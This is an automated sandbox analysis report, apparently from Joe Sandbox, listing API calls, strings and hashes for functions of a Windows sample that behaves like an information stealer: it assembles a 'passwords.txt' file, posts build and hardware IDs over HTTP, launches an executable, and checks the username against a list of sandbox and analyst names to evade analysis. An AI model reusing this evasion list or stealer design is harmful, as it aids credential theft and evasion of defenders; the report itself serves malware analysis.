Part of subcall function 001905DE: lstrlenA.KERNEL32(?,00000000,?,?,?,?,001970DE,001B6C20,00000000,001B66BA,?,?,?,?,001985D1), ref: 001905F2
Part of subcall function 001905DE: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,001970DE,001B6C20,00000000,001B66BA,?,?,?,?,001985D1), ref: 0019061A
Part of subcall function 001905DE: lstrcatA.KERNEL32(?,00000000,?,?,?,?,001970DE,001B6C20,00000000,001B66BA,?,?,?,?,001985D1), ref: 00190625

Part of subcall function 00190562: lstrcpyA.KERNEL32(00000000,?,00000000,001970FC,001B6C20,00000000,001B66BA,?,?,?,?,001985D1), ref: 00190592

Part of subcall function 0019059C: lstrcpyA.KERNEL32(00000000,?,0000000C,0019762B,001B66D6), ref: 001905CA
Part of subcall function 0019059C: lstrcatA.KERNEL32(?,?), ref: 001905D4

GetProcessHeap.KERNEL32(00000000,000F423F), ref: 00188AB1
HeapAlloc.KERNEL32(00000000), ref: 00188AB8
StrCmpCA.SHLWAPI(?,ERROR_V128), ref: 00188BA2
StrCmpCA.SHLWAPI(?,001B71E0), ref: 00188BBB
StrCmpCA.SHLWAPI(?,001B71E4), ref: 00188BE3
lstrlenA.KERNEL32(?), ref: 00188D03
lstrlenA.KERNEL32(?), ref: 00188D1E

Part of subcall function 00196ED9: CreateThread.KERNEL32(00000000,00000000,00196E08,?,00000000,00000000), ref: 00196F78
Part of subcall function 00196ED9: WaitForSingleObject.KERNEL32(00000000,000003E8), ref: 00196F80

DeleteFileA.KERNEL32(?), ref: 00188D61

Strings

ERROR_V128, xrefs: 00188B9A

Memory Dump Source

Source File: 00000000.00000002.2042684141.0000000000181000.00000080.00000001.01000000.00000003.sdmp, Offset: 00180000, based on PE: true

Associated: 00000000.00000002.2042664621.0000000000180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042710572.00000000001B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042727911.00000000001BD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001F2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000305000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000030C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000313000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000031A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000032B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000332000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000345000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000351000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000037E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000039F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000003DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043302767.00000000003F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000_aZm1EZ2IYr.jbxd

Yara matches

Similarity

API ID: lstrcpy$Processlstrlen$FileHeaplstrcat$AllocCloseCopyCreateDeleteHandleObjectOpenSingleTerminateThreadWait_memset
String ID: ERROR_V128
API String ID: 3638656634-2537946777
Opcode ID: 35c93caf5754e150b9ff98c32d8abd845c60cf5e1e9d3056925f5bc36155416c
Instruction ID: 47ef3e97d88342a226be93c2e24b35dd8a4e570ec945fc254ad1bf5ae821e744
Opcode Fuzzy Hash: 35c93caf5754e150b9ff98c32d8abd845c60cf5e1e9d3056925f5bc36155416c
Instruction Fuzzy Hash: 1FE1E332D01119AFDF12BBA4EC469DD7BB9EF28304F614026F511B70A2DB75AE068F90

Function 001A4B67 Relevance: 42.1, APIs: 19, Strings: 5, Instructions: 109libraryloadermemoryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(KERNEL32.DLL), ref: 001A4B6F
__mtterm.LIBCMT ref: 001A4B7B

Part of subcall function 001A483A: DecodePointer.KERNEL32(FFFFFFFF), ref: 001A484B
Part of subcall function 001A483A: TlsFree.KERNEL32(FFFFFFFF), ref: 001A4865

GetProcAddress.KERNEL32(00000000,FlsAlloc), ref: 001A4B91
GetProcAddress.KERNEL32(00000000,FlsGetValue), ref: 001A4B9E
GetProcAddress.KERNEL32(00000000,FlsSetValue), ref: 001A4BAB
GetProcAddress.KERNEL32(00000000,FlsFree), ref: 001A4BB8
TlsAlloc.KERNEL32 ref: 001A4C08
TlsSetValue.KERNEL32(00000000), ref: 001A4C23
__init_pointers.LIBCMT ref: 001A4C2D
EncodePointer.KERNEL32 ref: 001A4C3E
EncodePointer.KERNEL32 ref: 001A4C4B
EncodePointer.KERNEL32 ref: 001A4C58
EncodePointer.KERNEL32 ref: 001A4C65
DecodePointer.KERNEL32(Function_000249BE), ref: 001A4C86
__calloc_crt.LIBCMT ref: 001A4C9B
DecodePointer.KERNEL32(00000000), ref: 001A4CB5
__initptd.LIBCMT ref: 001A4CC0
GetCurrentThreadId.KERNEL32 ref: 001A4CC7

Strings

FlsFree, xrefs: 001A4BAD
KERNEL32.DLL, xrefs: 001A4B6A
FlsSetValue, xrefs: 001A4BA0
FlsAlloc, xrefs: 001A4B8B
FlsGetValue, xrefs: 001A4B93

Memory Dump Source

Source File: 00000000.00000002.2042684141.0000000000181000.00000080.00000001.01000000.00000003.sdmp, Offset: 00180000, based on PE: true

Associated: 00000000.00000002.2042664621.0000000000180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042710572.00000000001B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042727911.00000000001BD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001F2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000305000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000030C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000313000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000031A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000032B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000332000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000345000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000351000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000037E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000039F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000003DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043302767.00000000003F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000_aZm1EZ2IYr.jbxd

Yara matches

Similarity

API ID: Pointer$AddressEncodeProc$Decode$AllocCurrentFreeHandleModuleThreadValue__calloc_crt__init_pointers__initptd__mtterm
String ID: FlsAlloc$FlsFree$FlsGetValue$FlsSetValue$KERNEL32.DLL
API String ID: 3732613303-3819984048
Opcode ID: 22b304180bacf75122c224b8606549c39c03c5dd717366b2d5519a2503f3a643
Instruction ID: f5bbda84bd503dffc7135ccdb742bf2a29c4d64a24fad907af1251f1980b7568
Opcode Fuzzy Hash: 22b304180bacf75122c224b8606549c39c03c5dd717366b2d5519a2503f3a643
Instruction Fuzzy Hash: 90318F7980B7509BC711AFB9BC096163FA4EB8A720751862BE414D3EB4E7B0D5C0CF50

Function 00188533 Relevance: 38.7, APIs: 21, Strings: 1, Instructions: 231stringmemoryfileCOMMON

Download Yara Rule

APIs

Part of subcall function 001904BC: lstrcpyA.KERNEL32(00000000,00000000,?,001970BD,001B66BA,?,?,?,?,001985D1), ref: 001904E2

Part of subcall function 00191C1F: GetSystemTime.KERNEL32(?,001B66E2,?), ref: 00191C4E

Part of subcall function 001905DE: lstrlenA.KERNEL32(?,00000000,?,?,?,?,001970DE,001B6C20,00000000,001B66BA,?,?,?,?,001985D1), ref: 001905F2
Part of subcall function 001905DE: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,001970DE,001B6C20,00000000,001B66BA,?,?,?,?,001985D1), ref: 0019061A
Part of subcall function 001905DE: lstrcatA.KERNEL32(?,00000000,?,?,?,?,001970DE,001B6C20,00000000,001B66BA,?,?,?,?,001985D1), ref: 00190625

Part of subcall function 0019059C: lstrcpyA.KERNEL32(00000000,?,0000000C,0019762B,001B66D6), ref: 001905CA
Part of subcall function 0019059C: lstrcatA.KERNEL32(?,?), ref: 001905D4

Part of subcall function 00190562: lstrcpyA.KERNEL32(00000000,?,00000000,001970FC,001B6C20,00000000,001B66BA,?,?,?,?,001985D1), ref: 00190592

CopyFileA.KERNEL32(?,?,00000001), ref: 001885D8
GetProcessHeap.KERNEL32(00000000,000F423F), ref: 0018862D
HeapAlloc.KERNEL32(00000000), ref: 00188634
lstrlenA.KERNEL32(?), ref: 001886D2
lstrcatA.KERNEL32(?), ref: 001886EB
lstrcatA.KERNEL32(?,?), ref: 001886F5
lstrcatA.KERNEL32(?,001B719C), ref: 00188701
lstrcatA.KERNEL32(?,?), ref: 0018870B
lstrcatA.KERNEL32(?,001B71A0), ref: 00188717
lstrcatA.KERNEL32(?), ref: 00188724
lstrcatA.KERNEL32(?,?), ref: 0018872E
lstrcatA.KERNEL32(?,001B71A4), ref: 0018873A
lstrcatA.KERNEL32(?), ref: 00188747
lstrcatA.KERNEL32(?,?), ref: 00188751
lstrcatA.KERNEL32(?,001B71A8), ref: 0018875D
lstrcatA.KERNEL32(?), ref: 0018876A
lstrcatA.KERNEL32(?,?), ref: 00188774
lstrcatA.KERNEL32(?,001B71AC), ref: 00188780
lstrcatA.KERNEL32(?,001B71B0), ref: 0018878C
lstrlenA.KERNEL32(?), ref: 001887C5
DeleteFileA.KERNEL32(?), ref: 00188812

Strings

passwords.txt, xrefs: 001887D5

Memory Dump Source

Source File: 00000000.00000002.2042684141.0000000000181000.00000080.00000001.01000000.00000003.sdmp, Offset: 00180000, based on PE: true

Associated: 00000000.00000002.2042664621.0000000000180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042710572.00000000001B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042727911.00000000001BD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001F2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000305000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000030C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000313000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000031A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000032B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000332000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000345000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000351000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000037E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000039F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000003DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043302767.00000000003F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000_aZm1EZ2IYr.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlen$FileHeap$AllocCopyDeleteProcessSystemTime
String ID: passwords.txt
API String ID: 1139693110-347816968
Opcode ID: 32e2ea5c58a8d2cc257061a6b0ab31929b8b0825296acb9e88afe01fda8dbb4d
Instruction ID: 0a66f04e5775c63a194c2c49e1af25f2b3182997193e929f14349a07a2413686
Opcode Fuzzy Hash: 32e2ea5c58a8d2cc257061a6b0ab31929b8b0825296acb9e88afe01fda8dbb4d
Instruction Fuzzy Hash: DF813436941118AFCF03BBA4FD4A9DD7BB9EF28300F504062FA01A7161DB35AE158F91

Function 00181927 Relevance: 36.8, APIs: 2, Strings: 19, Instructions: 56stringCOMMON

Download Yara Rule

APIs

GetUserNameA.ADVAPI32(?,?), ref: 00181A13
lstrcmpiA.KERNEL32(001BABCC,?), ref: 00181A2E

Strings

Johnson, xrefs: 00181987
milozs, xrefs: 0018199B
Peter Wilson, xrefs: 001819A5
user, xrefs: 001819B9
John Doe, xrefs: 001819F5
Hong Lee, xrefs: 00181973
test user, xrefs: 001819E1
timmy, xrefs: 001819AF
CurrentUser, xrefs: 0018194B
malware, xrefs: 001819CD
maltest, xrefs: 001819D7
Miller, xrefs: 00181991
IT-ADMIN, xrefs: 0018197D
WDAGUtilityAccount, xrefs: 001819FF
sandbox, xrefs: 001819C3
HAPUBWS, xrefs: 00181969
Sand box, xrefs: 00181955
Emily, xrefs: 0018195F
virus, xrefs: 001819EB

Memory Dump Source

Source File: 00000000.00000002.2042684141.0000000000181000.00000080.00000001.01000000.00000003.sdmp, Offset: 00180000, based on PE: true

Associated: 00000000.00000002.2042664621.0000000000180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042710572.00000000001B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042727911.00000000001BD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001F2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000305000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000030C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000313000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000031A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000032B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000332000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000345000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000351000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000037E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000039F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000003DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043302767.00000000003F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000_aZm1EZ2IYr.jbxd

Yara matches

Similarity

API ID: NameUserlstrcmpi
String ID: CurrentUser$Emily$HAPUBWS$Hong Lee$IT-ADMIN$John Doe$Johnson$Miller$Peter Wilson$Sand box$WDAGUtilityAccount$maltest$malware$milozs$sandbox$test user$timmy$user$virus
API String ID: 542268695-1784693376
Opcode ID: 7f24db0b3c17c95c1926e50c30639d6fc63049a3f84483d0184f54f91842ae8b
Instruction ID: 3e853207099eb4ce7cffb18f86059e686da7fa5bc1873e583bd83eca87628f87
Opcode Fuzzy Hash: 7f24db0b3c17c95c1926e50c30639d6fc63049a3f84483d0184f54f91842ae8b
Instruction Fuzzy Hash: 9021F0B190526C9BCB64DF15DE896D9BFB8AF49308F8001D8D548BB210CBB04BC9CF86

Function 00184B2E Relevance: 33.6, APIs: 12, Strings: 7, Instructions: 378networkstringfileCOMMON

Download Yara Rule

APIs

Part of subcall function 001904EE: lstrcpyA.KERNEL32(00000000,?,?,00181D07,?,00197663), ref: 0019050D

Part of subcall function 00184AB6: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00184AE8
Part of subcall function 00184AB6: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00184AEE
Part of subcall function 00184AB6: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00184AF4
Part of subcall function 00184AB6: lstrlenA.KERNEL32(000000FF,00000000,?), ref: 00184B06
Part of subcall function 00184AB6: InternetCrackUrlA.WININET(000000FF,00000000), ref: 00184B0E

Part of subcall function 001904BC: lstrcpyA.KERNEL32(00000000,00000000,?,001970BD,001B66BA,?,?,?,?,001985D1), ref: 001904E2

InternetOpenA.WININET(?,00000001,00000000,00000000,00000000), ref: 00184BCD
StrCmpCA.SHLWAPI(?), ref: 00184BEB
InternetConnectA.WININET(?,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00184D83
HttpOpenRequestA.WININET(?,?,00000000,00000000,?,00000000), ref: 00184DC7
InternetSetOptionA.WININET(00000000,0000001F,00010300,00000004), ref: 00184DF5

Part of subcall function 001905DE: lstrlenA.KERNEL32(?,00000000,?,?,?,?,001970DE,001B6C20,00000000,001B66BA,?,?,?,?,001985D1), ref: 001905F2
Part of subcall function 001905DE: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,001970DE,001B6C20,00000000,001B66BA,?,?,?,?,001985D1), ref: 0019061A
Part of subcall function 001905DE: lstrcatA.KERNEL32(?,00000000,?,?,?,?,001970DE,001B6C20,00000000,001B66BA,?,?,?,?,001985D1), ref: 00190625

Part of subcall function 00190562: lstrcpyA.KERNEL32(00000000,?,00000000,001970FC,001B6C20,00000000,001B66BA,?,?,?,?,001985D1), ref: 00190592

Part of subcall function 0019059C: lstrcpyA.KERNEL32(00000000,?,0000000C,0019762B,001B66D6), ref: 001905CA
Part of subcall function 0019059C: lstrcatA.KERNEL32(?,?), ref: 001905D4

lstrlenA.KERNEL32(?,001B6947,",build_id,001B77BC,------,001B77B0,",hwid,001B779C,------), ref: 001850EE
lstrlenA.KERNEL32(?,?,00000000), ref: 00185101
HttpSendRequestA.WININET(00000000,?,00000000), ref: 0018510F
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 0018516C
InternetCloseHandle.WININET(00000000), ref: 00185177
InternetCloseHandle.WININET(?), ref: 0018518E
InternetCloseHandle.WININET(?), ref: 0018519A

Strings

build_id, xrefs: 0018500D
", xrefs: 00184ED9
hwid, xrefs: 00184EAD
------, xrefs: 00184C75
------, xrefs: 00184DFB
------, xrefs: 00184F5B
", xrefs: 00185039

Memory Dump Source

Source File: 00000000.00000002.2042684141.0000000000181000.00000080.00000001.01000000.00000003.sdmp, Offset: 00180000, based on PE: true

Associated: 00000000.00000002.2042664621.0000000000180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042710572.00000000001B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042727911.00000000001BD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001F2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000305000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000030C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000313000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000031A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000032B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000332000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000345000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000351000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000037E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000039F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000003DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043302767.00000000003F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000_aZm1EZ2IYr.jbxd

Yara matches

Similarity

API ID: Internet$lstrcpy$lstrlen$CloseHandle$HttpOpenRequestlstrcat$ConnectCrackFileOptionReadSend
String ID: "$"$------$------$------$build_id$hwid
API String ID: 3006978581-3960666492
Opcode ID: 75a20994e1251e8476d0ca13741fb50426897652bba1c76882d5dde338264602
Instruction ID: a13c6d2a183a5b0c73785d9ac3413ea6bff69fb9e34d8da195a6c727d394466f
Opcode Fuzzy Hash: 75a20994e1251e8476d0ca13741fb50426897652bba1c76882d5dde338264602
Instruction Fuzzy Hash: 7E025B31D5512A9BDF22BB20DC46ADDB7B8FF28704F4680E1A54977162CB746E868FC0

Function 001925E1 Relevance: 33.5, APIs: 16, Strings: 3, Instructions: 224stringprocesssynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 001904BC: lstrcpyA.KERNEL32(00000000,00000000,?,001970BD,001B66BA,?,?,?,?,001985D1), ref: 001904E2

_memset.LIBCMT ref: 001927F1
lstrcatA.KERNEL32(?,?,?,?,?), ref: 00192803
lstrcatA.KERNEL32(?,001B66A0), ref: 00192815
lstrcatA.KERNEL32(?,df523263f44cc8d55414a260a0197e4a), ref: 00192827
lstrcatA.KERNEL32(?,001B66A4), ref: 00192839
lstrcatA.KERNEL32(?,?), ref: 00192849
lstrcatA.KERNEL32(?,001B66A8), ref: 0019285B
lstrlenA.KERNEL32(?), ref: 00192864
lstrcatA.KERNEL32(?,EMPTY), ref: 00192880
lstrcatA.KERNEL32(?,001B66B4), ref: 00192892
lstrcatA.KERNEL32(?,?), ref: 001928A2
lstrcatA.KERNEL32(?,001B66B8), ref: 001928B4
lstrlenA.KERNEL32(?), ref: 001928C1

Part of subcall function 0019051E: lstrlenA.KERNEL32(?,?,001971B6,001B66BE,001B66BB,?,?,?,?,001985D1), ref: 00190524
Part of subcall function 0019051E: lstrcpyA.KERNEL32(00000000,00000000,?,001971B6,001B66BE,001B66BB,?,?,?,?,001985D1), ref: 00190556

Part of subcall function 00191C1F: GetSystemTime.KERNEL32(?,001B66E2,?), ref: 00191C4E

Part of subcall function 0019059C: lstrcpyA.KERNEL32(00000000,?,0000000C,0019762B,001B66D6), ref: 001905CA
Part of subcall function 0019059C: lstrcatA.KERNEL32(?,?), ref: 001905D4

Part of subcall function 001905DE: lstrlenA.KERNEL32(?,00000000,?,?,?,?,001970DE,001B6C20,00000000,001B66BA,?,?,?,?,001985D1), ref: 001905F2
Part of subcall function 001905DE: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,001970DE,001B6C20,00000000,001B66BA,?,?,?,?,001985D1), ref: 0019061A
Part of subcall function 001905DE: lstrcatA.KERNEL32(?,00000000,?,?,?,?,001970DE,001B6C20,00000000,001B66BA,?,?,?,?,001985D1), ref: 00190625

Part of subcall function 00190562: lstrcpyA.KERNEL32(00000000,?,00000000,001970FC,001B6C20,00000000,001B66BA,?,?,?,?,001985D1), ref: 00190592

Part of subcall function 001904EE: lstrcpyA.KERNEL32(00000000,?,?,00181D07,?,00197663), ref: 0019050D

Part of subcall function 0019241B: CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000,?,?,?,?,00194ACD), ref: 00192435

_memset.LIBCMT ref: 001928F7
CreateProcessA.KERNEL32(00000000,?,00000000,00000000,00000001,00000020,00000000,00000000,?,?,001B66BC,?), ref: 00192964
WaitForSingleObject.KERNEL32(?,000000FF), ref: 00192972

Strings

EMPTY, xrefs: 0019287A
.exe, xrefs: 00192624
df523263f44cc8d55414a260a0197e4a, xrefs: 0019281B

Memory Dump Source

Source File: 00000000.00000002.2042684141.0000000000181000.00000080.00000001.01000000.00000003.sdmp, Offset: 00180000, based on PE: true

Associated: 00000000.00000002.2042664621.0000000000180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042710572.00000000001B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042727911.00000000001BD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001F2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000305000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000030C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000313000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000031A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000032B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000332000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000345000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000351000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000037E000.00000004.00000001.01000000.00000003.sdmpDownload File
